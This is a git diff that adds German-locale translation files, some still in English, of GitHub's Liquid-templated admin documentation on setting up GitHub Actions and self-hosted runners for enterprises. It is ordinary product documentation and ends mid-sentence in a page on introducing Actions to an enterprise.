+type: how_to
+topics:
+  - Actions
+  - Enterprise
+redirect_from:
+  - /admin/github-actions/getting-started-with-github-actions-for-github-ae
+  - /admin/github-actions/using-github-actions-in-github-ae/getting-started-with-github-actions-for-github-ae
+ms.openlocfilehash: c6d6767e95e6f5d27c311e46f5042c79717ab97e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104947'
+---
+## Informationen zu {% data variables.product.prodname_actions %} auf {% data variables.product.prodname_ghe_managed %}
+
+{% data variables.product.prodname_actions %} ist für {% data variables.product.product_name %} standardmäßig aktiviert. Um erste Schritte mit {% data variables.product.prodname_actions %} in deinem Unternehmen ausführen zu können, musst du die Zugriffsberechtigungen für {% data variables.product.prodname_actions %} verwalten und Runner zum Ausführen von Workflows hinzufügen.
+
+{% data reusables.actions.introducing-enterprise %}
+
+{% data reusables.actions.migrating-enterprise %}
+
+## Verwalten von Zugriffsberechtigungen für {% data variables.product.prodname_actions %} in deinem Unternehmen
+
+Du kannst Richtlinien verwenden, um den Zugriff auf {% data variables.product.prodname_actions %} zu verwalten. Weitere Informationen findest du unter [Erzwingen von GitHub Actions-Richtlinien in deinem Unternehmen](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise).
+
+## Hinzufügen von Runnern
+
+Du musst deine eigenen Computer konfigurieren und hosten, um Aufträge für dein Unternehmen auf {% data variables.product.product_name %} auszuführen. {% data reusables.actions.about-self-hosted-runners %} Weitere Informationen findest du unter [Erste Schritte mit selbstgehosteten Runnern für dein Unternehmen](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise) und [Hosten deiner eigenen Runner](/actions/hosting-your-own-runners).
+
+{% data reusables.actions.general-security-hardening %}
diff --git a/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md
new file mode 100644
index 0000000000..5a983ec239
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md
@@ -0,0 +1,39 @@
+---
+title: Erste Schritte mit GitHub Actions für GitHub Enterprise Cloud
+shortTitle: Get started
+intro: 'Erfahre, wie du {% data variables.product.prodname_actions %} in {% data variables.product.prodname_ghe_cloud %} konfigurierst.'
+permissions: 'Enterprise owners can configure {% data variables.product.prodname_actions %}.'
+versions:
+  ghec: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+ms.openlocfilehash: 088fc1fcce3b44c6db350f744ad13668d04a4bb8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106815'
+---
+## Informationen zu {% data variables.product.prodname_actions %} in {% data variables.product.prodname_ghe_cloud %}
+
+{% data variables.product.prodname_actions %} ist standardmäßig für dein Unternehmen aktiviert. Um mit der Verwendung von {% data variables.product.prodname_actions %} in deinem Unternehmen zu beginnen, kannst du die Richtlinien verwalten, die steuern, wie Unternehmensmitglieder {% data variables.product.prodname_actions %} verwenden, und optional selbstgehostete Runner zum Ausführen von Workflows hinzufügen.
+
+{% data reusables.actions.introducing-enterprise %}
+
+{% data reusables.actions.migrating-enterprise %}
+
+## Verwalten von Richtlinien für {% data variables.product.prodname_actions %}
+
+Mithilfe von Richtlinien kannst du steuern, wie Unternehmensmitglieder {% data variables.product.prodname_actions %} verwenden. Du kannst beispielsweise einschränken, welche Aktionen zulässig sind, und die Artefakt- und Protokollaufbewahrung konfigurieren. Weitere Informationen findest du unter [Erzwingen von GitHub Actions-Richtlinien in deinem Unternehmen](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise).
+
+## Hinzufügen von Runnern
+
+Zum Ausführen von {% data variables.product.prodname_actions %}-Workflows musst du Runner hinzufügen. {% data reusables.actions.about-runners %} Wenn du von {% data variables.product.company_short %} gehostete Runner verwendest, wird dir die Nutzung verbrauchsbasiert in Rechnung gestellt, nachdem die in {% data variables.product.product_name %} enthaltenen Minuten aufgebraucht sind. Selbstgehostete Runner dagegen sind kostenlos. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions).
+
+Weitere Informationen findest du unter „[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners)“.
+
+Wenn du dich für selbstgehostete entscheidest, kannst du Runner auf Unternehmens-, Organisations- oder Repositoryebene hinzufügen. Weitere Informationen findest du unter [Hinzufügen von selbstgehosteten Runnern](/actions/hosting-your-own-runners/adding-self-hosted-runners).
+
+{% data reusables.actions.general-security-hardening %}
diff --git a/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md
new file mode 100644
index 0000000000..6d81bf03ff
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md
@@ -0,0 +1,183 @@
+---
+title: Getting started with GitHub Actions for GitHub Enterprise Server
+shortTitle: Get started
+intro: 'Learn about enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} for the first time.'
+permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.'
+redirect_from:
+  - /enterprise/admin/github-actions/enabling-github-actions-and-configuring-storage
+  - /admin/github-actions/enabling-github-actions-and-configuring-storage
+  - /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server
+  - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+---
+{% data reusables.actions.enterprise-beta %}
+
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}
+
+This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}.
+
+{% data reusables.actions.ghes-actions-not-enabled-by-default %} You'll need to determine whether your instance has adequate CPU and memory resources to handle the load from {% data variables.product.prodname_actions %} without causing performance loss, and possibly increase those resources. You'll also need to decide which storage provider you'll use for the blob storage required to store artifacts{% ifversion actions-caching %} and caches{% endif %} generated by workflow runs. Then, you'll enable {% data variables.product.prodname_actions %} for your enterprise, manage access permissions, and add self-hosted runners to run workflows.
+
+{% data reusables.actions.introducing-enterprise %}
+
+{% data reusables.actions.migrating-enterprise %}
+
+## Review hardware requirements
+
+{%- ifversion ghes < 3.6 %}
+
+The CPU and memory resources available to {% data variables.location.product_location %} determine the number of jobs that can be run concurrently without performance loss. {% data reusables.actions.minimum-hardware %}
+
+The peak quantity of concurrent jobs running without performance loss depends on such factors as job duration, artifact usage, number of repositories running Actions, and how much other work your instance is doing not related to Actions. Internal testing at GitHub demonstrated the following performance targets for GitHub Enterprise Server on a range of CPU and memory configurations:
+
+{% endif %}
+
+{%- ifversion ghes > 3.5 %}
+
+The CPU and memory resources available to {% data variables.location.product_location %} determine the number of runners that can be configured without performance loss. {% data reusables.actions.minimum-hardware %}
+
+The peak quantity of connected runners without performance loss depends on such factors as job duration, artifact usage, number of repositories running Actions, and how much other work your instance is doing not related to Actions. Internal testing at GitHub demonstrated the following performance targets for GitHub Enterprise Server on a range of CPU and memory configurations:
+
+{% endif %}
+
+{%- ifversion ghes = 3.3 %}
+
+{% data reusables.actions.hardware-requirements-3.3 %}
+
+Maximum concurrency was measured using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance.
+
+{%- endif %}
+
+{%- ifversion ghes = 3.4 %}
+
+{% data reusables.actions.hardware-requirements-3.4 %}
+
+Maximum concurrency was measured using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance.
+
+{%- endif %}
+
+{%- ifversion ghes = 3.5 %}
+
+{% data reusables.actions.hardware-requirements-3.5 %}
+
+{% data variables.product.company_short %} measured maximum concurrency using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance.
+
+{% note %}
+
+**Note:** Beginning with {% data variables.product.prodname_ghe_server %} 3.5, {% data variables.product.company_short %}'s internal testing uses 3rd generation CPUs to better reflect a typical customer configuration. This change in CPU represents a small portion of the changes to performance targets in this version of {% data variables.product.prodname_ghe_server %}.
+
+{% endnote %}
+
+{%- endif %}
+
+{%- ifversion ghes > 3.5 %}
+
+
+| vCPUs | Memory | Maximum Connected Runners |
+| :---| :--- | :--- |
+| 8   | 64 GB  | 740  runners |
+| 32  | 160 GB | 2700 runners |
+| 96  | 384 GB | 7000 runners |
+| 128 | 512 GB | 7000 runners |
+
+{% data variables.product.company_short %} measured maximum connected runners using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance.
+
+{% note %}
+
+**Notes:**
+
+- Beginning with {% data variables.product.prodname_ghe_server %} 3.6, {% data variables.product.company_short %} documents connected runners as opposed to concurrent jobs. Connected runners represents the most runners you can connect and expect to utilize. It should also be noted that connecting more runners than you can expect to utilize can negatively impact performance.
+
+- Beginning with {% data variables.product.prodname_ghe_server %} 3.5, {% data variables.product.company_short %}'s internal testing uses 3rd generation CPUs to better reflect a typical customer configuration. This change in CPU represents a small portion of the changes to performance targets in this version of {% data variables.product.prodname_ghe_server %}.
+{% endnote %}
+{%- endif %}
+
+If you plan to enable {% data variables.product.prodname_actions %} for the users of an existing instance, review the levels of activity for users and automations on the instance and ensure that you have provisioned adequate CPU and memory for your users. For more information about monitoring the capacity and performance of {% data variables.product.prodname_ghe_server %}, see "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)."
+
+For more information about minimum hardware requirements for {% data variables.location.product_location %}, see the hardware considerations for your instance's platform.
+
+- [AWS](/admin/installation/installing-github-enterprise-server-on-aws#hardware-considerations)
+- [Azure](/admin/installation/installing-github-enterprise-server-on-azure#hardware-considerations)
+- [Google Cloud Platform](/admin/installation/installing-github-enterprise-server-on-google-cloud-platform#hardware-considerations)
+- [Hyper-V](/admin/installation/installing-github-enterprise-server-on-hyper-v#hardware-considerations)
+- [OpenStack KVM](/admin/installation/installing-github-enterprise-server-on-openstack-kvm#hardware-considerations)
+- [VMware](/admin/installation/installing-github-enterprise-server-on-vmware#hardware-considerations)
+
+{% data reusables.enterprise_installation.about-adjusting-resources %}
+
+{% ifversion ghes > 3.4 %}
+
+Optionally, you can limit resource consumption on {% data variables.location.product_location %} by configuring a rate limit for {% data variables.product.prodname_actions %}. For more information, see "[Configuring rate limits](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-rate-limits-for-github-actions)."
+
+{% endif %}
+
+## External storage requirements
+
+To enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}, you must have access to external blob storage.
+
+{% data variables.product.prodname_actions %} uses blob storage to store data generated by workflow runs, such as workflow logs{% ifversion actions-caching %}, caches,{% endif %} and user-uploaded build artifacts. The amount of storage required depends on your usage of {% data variables.product.prodname_actions %}. Only a single external storage configuration is supported, and you can't use multiple storage providers at the same time.
+
+{% data variables.product.prodname_actions %} supports these storage providers:
+
+* Azure Blob storage
+* Amazon S3
+{%- ifversion actions-ghes-gcp-storage %}
+* Google Cloud Storage
+{%- endif %}
+* S3-compatible MinIO cluster
+
+{% note %}
+
+**Note:** These are the only storage providers that {% data variables.product.company_short %} supports and can provide assistance with.
+
+{% data reusables.actions.enterprise-s3-tech-partners %}
+
+{% endnote %}
+
+## Networking considerations
+
+{% data reusables.actions.proxy-considerations %} For more information about using a proxy with {% data variables.product.prodname_ghe_server %}, see "[Configuring an outbound web proxy server](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server)."
+
+{% ifversion ghes %}
+
+## Enabling {% data variables.product.prodname_actions %} with your storage provider
+
+Follow one of the procedures below to enable {% data variables.product.prodname_actions %} with your chosen storage provider:
+
+* [Enabling GitHub Actions with Azure Blob storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage)
+* [Enabling GitHub Actions with Amazon S3 storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage)
+{%- ifversion actions-ghes-gcp-storage %}
+* [Enabling GitHub Actions with Google Cloud Storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage)
+{%- endif %}
+* [Enabling GitHub Actions with MinIO storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage)
+
+## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise
+
+You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)."
+
+## Adding self-hosted runners
+
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+To run {% data variables.product.prodname_actions %} workflows, you need to add self-hosted runners. You can add self-hosted runners at the enterprise, organization, or repository levels. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+
+## Managing which actions can be used in your enterprise
+
+You can control which actions your users are allowed to use in your enterprise. This includes setting up {% data variables.product.prodname_github_connect %} for automatic access to actions from {% data variables.product.prodname_dotcom_the_website %}, or manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}.
+
+For more information, see "[About using actions in your enterprise](/admin/github-actions/about-using-actions-in-your-enterprise)."
+
+{% data reusables.actions.general-security-hardening %}
+
+{% endif %}
+
+## Reserved names
+
+When you enable {% data variables.product.prodname_actions %} for your enterprise, two organizations are created: `github` and `actions`. If your enterprise already uses the `github` organization name, `github-org` (or `github-github-org` if `github-org` is also in use) will be used instead. If your enterprise already uses the `actions` organization name, `github-actions` (or `github-actions-org` if `github-actions` is also in use) will be used instead. Once actions is enabled, you won't be able to use these names anymore.
diff --git a/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise.md b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise.md
new file mode 100644
index 0000000000..0c3418282c
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise.md
@@ -0,0 +1,148 @@
+---
+title: Getting started with self-hosted runners for your enterprise
+shortTitle: Self-hosted runners
+intro: 'You can configure a runner machine for your enterprise so your developers can start automating workflows with {% data variables.product.prodname_actions %}.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+permissions: 'Enterprise owners can configure policies for {% data variables.product.prodname_actions %} and add self-hosted runners to the enterprise.'
+type: quick_start
+topics:
+  - Actions
+  - Enterprise
+  - Fundamentals
+---
+
+## About self-hosted runners for {% data variables.product.prodname_actions %}
+
+{% data reusables.actions.about-actions-for-enterprises %} For more information, see "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)."
+
+With {% data variables.product.prodname_actions %}, developers can write and combine individual tasks called actions to create custom workflows. {% ifversion ghes or ghae %}To enable {% data variables.product.prodname_actions %} for {% ifversion ghae %}your enterprise{% elsif ghes %} {% data variables.location.product_location %}{% endif %}, you must host at least one machine to execute jobs.{% endif %} {% ifversion ghec %}You can host your own runner machine to execute jobs, and this{% elsif ghes or ghae %}This{% endif %} machine is called a self-hosted runner. {% data reusables.actions.self-hosted-runner-locations %} {% data reusables.actions.self-hosted-runner-architecture %} {% ifversion ghec %}All{% elsif ghes or ghae %}Self-hosted{% endif %} runners can run Linux, Windows, or macOS. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+
+{% ifversion ghec %}
+
+Alternatively, you can use runner machines that {% data variables.product.company_short %} hosts. {% data variables.product.company_short %}-hosted runners are outside the scope of this guide. For more information, see "[About {% data variables.product.company_short %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."
+
+{% endif %}
+
+This guide shows you how to apply a centralized management approach to self-hosted runners for {% data variables.product.prodname_actions %} in your enterprise. In the guide, you'll complete the following tasks.
+
+1. Configure a limited policy to restrict the actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} that can run within your enterprise
+1. Deploy a self-hosted runner for your enterprise
+1. Create a group to manage access to the runners available to your enterprise
+1. Optionally, further restrict the repositories that can use the runner
+1. Optionally, build custom tooling to automatically scale your self-hosted runners
+
+You'll also find additional information about how to monitor and secure your self-hosted runners,{% ifversion ghes or ghae %} how to access actions from {% data variables.product.prodname_dotcom_the_website %},{% endif %} and how to customize the software on your runner machines.
+
+After you finish the guide, {% ifversion ghec or ghae %}members of your enterprise{% elsif ghes %}users of {% data variables.location.product_location %}{% endif %} will be able to run workflow jobs from {% data variables.product.prodname_actions %} on a self-hosted runner machine.
+
+## Prerequisites
+
+{% data reusables.actions.self-hosted-runners-prerequisites %}
+
+- Your enterprise must own at least one organization. For more information, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)" and "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+
+## 1. Configure policies for {% data variables.product.prodname_actions %}
+
+First, enable {% data variables.product.prodname_actions %} for all organizations, and configure a policy to restrict the actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} that can run {% ifversion ghec or ghae%}within your enterprise on {% data variables.product.product_name %}{% elsif ghes %}on {% data variables.location.product_location %}{% endif %}. Optionally, organization owners can further restrict these policies for each organization.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.actions-tab %}
+1. Under "Policies", select **Enable for all organizations**.
+   
+   ![Screenshot of "Enable for all organizations" policy for {% data variables.product.prodname_actions %}](/assets/images/help/settings/actions-policy-enable-for-all-organizations.png)
+1. Select {% data reusables.actions.policy-label-for-select-actions-workflows %} and **Allow actions created by GitHub** to allow local actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, and actions created by {% data variables.product.company_short %}.
+
+   {% ifversion actions-workflow-policy %}
+   ![Screenshot of "Allow select actions" and "Allow actions created by {% data variables.product.company_short %}" for {% data variables.product.prodname_actions %}](/assets/images/help/settings/actions-policy-allow-select-actions-and-actions-from-github-with-workflows.png)
+   {%- else %}
+   ![Screenshot of "Allow select actions" and "Allow actions created by {% data variables.product.company_short %}" for {% data variables.product.prodname_actions %}](/assets/images/help/settings/actions-policy-allow-select-actions-and-actions-from-github.png)
+   {%- endif %}
+1. Click **Save**.
+
+You can configure additional policies to restrict the actions available to {% ifversion ghec or ghae %}enterprise members{% elsif ghes %}users of {% data variables.location.product_location %}{% endif %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#allowing-select-actions-to-run)."
+
+## 2. Deploy the self-hosted runner for your enterprise
+
+Next, add a self-hosted runner to your enterprise. {% data variables.product.product_name %} will guide you through installation of the necessary software on the runner machine. After you deploy the runner, you can verify connectivity between the runner machine and {%ifversion ghec or ghae %}your enterprise{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.
+
+### Adding the self-hosted runner
+
+{% data reusables.actions.self-hosted-runner-add-to-enterprise %}
+
+{% data reusables.actions.self-hosted-runner-check-installation-success %}
+
+## 3. Manage access to the self-hosted runner using a group
+
+You can create a runner group to manage access to the runner that you added to your enterprise. You'll use the group to choose which organizations can execute jobs from {% data variables.product.prodname_actions %} on the runner.
+
+{% data variables.product.product_name %} adds all new runners to a group. Runners can be in one group at a time. By default, {% data variables.product.product_name %} adds new runners to the "Default" group.
+
+{% data reusables.actions.runner-groups-add-to-enterprise-first-steps %}
+1. To choose a policy for organization access, under "Organization access", select the **Organization access** drop-down, and click **Selected organizations**.
+1. To the right of the drop-down with the organization access policy, click {% octicon "gear" aria-label="The Gear icon" %}.
+1. Select the organizations you'd like to grant access to the runner group.
+{%- ifversion ghec or ghes %}
+1. Optionally, to allow public repositories in the selected organizations to use runners in the group, select **Allow public repositories**.
+
+   {% warning %}
+
+   **Warning**:
+
+   {% indented_data_reference reusables.actions.self-hosted-runner-security spaces=3 %}
+
+   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+
+   {% endwarning %}
+{%- endif %}
+{% data reusables.actions.create-runner-group %}
+{%- ifversion ghec or ghes > 3.3 or ghae > 3.3 %}
+1. Click the "Runners" tab.
+1. In the list of runners, click the runner that you deployed in the previous section.
+1. Click **Edit**.
+1. Click **Runner groups {% octicon "gear" aria-label="The Gear icon" %}**.
+1. In the list of runner groups, click the name of the group that you previously created.
+1. Click **Save** to move the runner to the group.
+{%- elsif ghes < 3.4 or ghae %}
+1. To the right of "Default", click the number of runners in the group to show the runners.
+1. Select the runner that you deployed.
+1. To the right of "Runner groups", select the **Move to group** dropdown, and click the group that you previously created.
+{%- endif %}
+
+You've now deployed a self-hosted runner that can run jobs from {% data variables.product.prodname_actions %} within the organizations that you specified.
+
+## 4. Further restrict access to the self-hosted runner
+
+Optionally, organization owners can further restrict the access policy of the runner group that you created. For example, an organization owner could allow only certain repositories in the organization to use the runner group.
+
+For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
+
+## 5. Automatically scale your self-hosted runners
+
+Optionally, you can build custom tooling to automatically scale the self-hosted runners for {% ifversion ghec or ghae %}your enterprise{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. For example, your tooling can respond to webhook events from {% data variables.location.product_location %} to automatically scale a cluster of runner machines. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)."
+
+## Next steps
+
+- You can monitor self-hosted runners and troubleshoot common issues. For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
+
+- {% data variables.product.company_short %} recommends that you review security considerations for self-hosted runner machines. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
+
+- {% ifversion ghec %}If you use {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}, you{% elsif ghes or ghae %}You{% endif %} can manually sync repositories on {% data variables.product.prodname_dotcom_the_website %} containing actions to your enterprise on {% ifversion ghes or ghae %}{% data variables.product.product_name %}{% elsif ghec %}{% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}{% endif %}. Alternatively, you can allow members of your enterprise to automatically access actions from {% data variables.product.prodname_dotcom_the_website %} by using {% data variables.product.prodname_github_connect %}. For more information, see the following.
+
+   {%- ifversion ghes or ghae %}
+   - "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom)"
+   - "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect)"
+   {%- elsif ghec %}
+   - "Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}" in the [{% data variables.product.prodname_ghe_server %}](/enterprise-server@latest//admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom) or [{% data variables.product.prodname_ghe_managed %}](/github-ae@latest//admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom) documentation
+   - "Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}" in the [{% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect) or [{% data variables.product.prodname_ghe_managed %}](/github-ae@latest//admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect) documentation
+   {%- endif %}
+
+- You can customize the software available on your self-hosted runner machines, or configure your runners to run software similar to {% data variables.product.company_short %}-hosted runners{% ifversion ghes or ghae %} available for customers using {% data variables.product.prodname_dotcom_the_website %}{% endif %}. The software that powers runner machines for {% data variables.product.prodname_actions %} is open source. For more information, see the [`actions/runner`](https://github.com/actions/runner) and [`actions/runner-images`](https://github.com/actions/runner-images) repositories.
+
+## Further reading
+
+- "[Configuring the self-hosted runner application as a service](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service)"
+- "[Using self-hosted runners in a workflow](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)"
diff --git a/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
new file mode 100644
index 0000000000..5d3afcc77f
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
@@ -0,0 +1,27 @@
+---
+title: Erste Schritte mit GitHub Actions für dein Unternehmen
+intro: 'Erfahre, wie du {% data variables.product.prodname_actions %} in deinem Unternehmen einführen kannst.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+  - Actions
+children:
+  - /about-github-actions-for-enterprises
+  - /introducing-github-actions-to-your-enterprise
+  - /migrating-your-enterprise-to-github-actions
+  - /getting-started-with-github-actions-for-github-enterprise-cloud
+  - /getting-started-with-github-actions-for-github-enterprise-server
+  - /getting-started-with-github-actions-for-github-ae
+  - /getting-started-with-self-hosted-runners-for-your-enterprise
+shortTitle: Get started
+ms.openlocfilehash: f4e3c1f403830b996e4921f95c91b6ad7100fd09
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104943'
+---
+
diff --git a/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
new file mode 100644
index 0000000000..625a34aa98
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
@@ -0,0 +1,140 @@
+---
+title: Introducing GitHub Actions to your enterprise
+shortTitle: Introduce Actions
+intro: 'You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+---
+
+## About {% data variables.product.prodname_actions %} for enterprises
+
+{% data reusables.actions.about-actions %} With {% data variables.product.prodname_actions %}, your enterprise can automate, customize, and execute your software development workflows like testing and deployments. For more information, see "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)."
+
+![Diagram of jobs running on self-hosted runners](/assets/images/help/images/actions-enterprise-overview.png)
+
+Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs.
+
+## Governance and compliance
+
+You should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations.
+
+Determine which actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} your developers will be allowed to use. {% ifversion ghes %}First, decide whether you'll enable access to actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} from outside your instance. {% data reusables.actions.access-actions-on-dotcom %} For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)."
+
+Then,{% else %}First,{% endif %} decide whether you'll allow third-party actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that were not created by {% data variables.product.company_short %}. You can configure the actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that are allowed to run at the repository, organization, and enterprise levels and can choose to only allow actions that are created by {% data variables.product.company_short %}. If you do allow third-party actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, you can limit allowed actions to those created by verified creators or a list of specific actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository)", "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization)", and "[Enforcing policies for {% data variables.product.prodname_actions %} in your 